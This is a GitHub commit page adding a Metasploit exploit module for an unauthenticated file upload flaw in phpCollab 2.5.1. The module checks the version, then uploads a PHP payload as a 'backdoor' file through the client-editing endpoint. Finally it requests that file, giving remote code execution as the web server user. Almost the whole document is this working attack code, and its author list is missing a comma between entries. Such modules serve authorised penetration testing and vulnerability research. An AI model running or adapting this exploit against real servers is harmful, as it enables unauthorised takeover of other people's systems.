Skip to content

Commit fd2a0d3

Browse files
committed
Add phpCollab 2.5.1 exploit module
1 parent acc6951 commit fd2a0d3

File tree

1 file changed

+92
-0
lines changed

1 file changed

+92
-0
lines changed
Lines changed: 92 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,92 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Exploit::FileDropper
11+
12+
def initialize(info = {})
13+
super(update_info(info,
14+
'Name' => 'phpCollab 2.5.1 Unauthenticated File Upload Vulnerability',
15+
'Description' => %q{
16+
This module exploits a file upload vulnerability in phpCollab 2.5.1
17+
which could be abused to allow unauthenticated users to execute arbitrary code
18+
under the context of the web server user.
19+
20+
The exploit has been tested on Ubuntu 16.04.3 64-bit
21+
},
22+
'Author' =>
23+
[
24+
'Nicolas SERRA <n.serra[at]sysdream.com>' # Vulnerability discovery
25+
'Nick Marcoccio "1oopho1e" <iremembermodems[at]gmail.com>' # Metasploit module
26+
],
27+
'License' => MSF_LICENSE,
28+
'References' =>
29+
[
30+
[ 'URL', 'https://www.exploit-db.com/exploits/42934/' ],
31+
],
32+
'Privileged' => false,
33+
'Platform' => ['php'],
34+
'Arch' => ARCH_PHP,
35+
'Payload' =>
36+
{
37+
'DisableNops' => true
38+
},
39+
'Targets' => [ ['Automatic', {}] ],
40+
'DefaultTarget' => 0,
41+
'DisclosureDate' => 'Sep 29 2017'
42+
))
43+
44+
register_options(
45+
[
46+
OptString.new('TARGETURI', [ true, "Installed path of phpCollab ", "/phpcollab/"])
47+
])
48+
end
49+
50+
def check
51+
url = normalize_uri(target_uri.path, "general/login.php?msg=logout")
52+
res = send_request_cgi(
53+
'method' => 'GET',
54+
'uri' => url
55+
)
56+
57+
if res && res.body.include?('PhpCollab v2.5.1')
58+
return Exploit::CheckCode::Appears
59+
end
60+
61+
return Exploit::CheckCode::Safe
62+
end
63+
64+
def exploit
65+
filename = '1.php'
66+
register_file_for_cleanup(filename)
67+
68+
data = Rex::MIME::Message.new
69+
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"upload\"; filename=\"#{filename}\"")
70+
71+
print_status("Uploading backdoor file: #{filename}")
72+
73+
res = send_request_cgi({
74+
'method' => 'POST',
75+
'uri' => normalize_uri(target_uri.path, "clients/editclient.php?id=1&action=update"),
76+
'ctype' => "multipart/form-data; boundary=#{data.bound}",
77+
'data' => data.to_s
78+
})
79+
80+
if res && res.code == 302
81+
print_good("Backdoor successfully created.")
82+
else
83+
fail_with(Failure::Unknown, "#{peer} - Error on uploading file")
84+
end
85+
86+
print_status("Trigging the exploit...")
87+
send_request_cgi({
88+
'method' => 'GET',
89+
'uri' => normalize_uri(target_uri.path, "logos_clients/1.php")
90+
}, 5)
91+
end
92+
end

0 commit comments

Comments
 (0)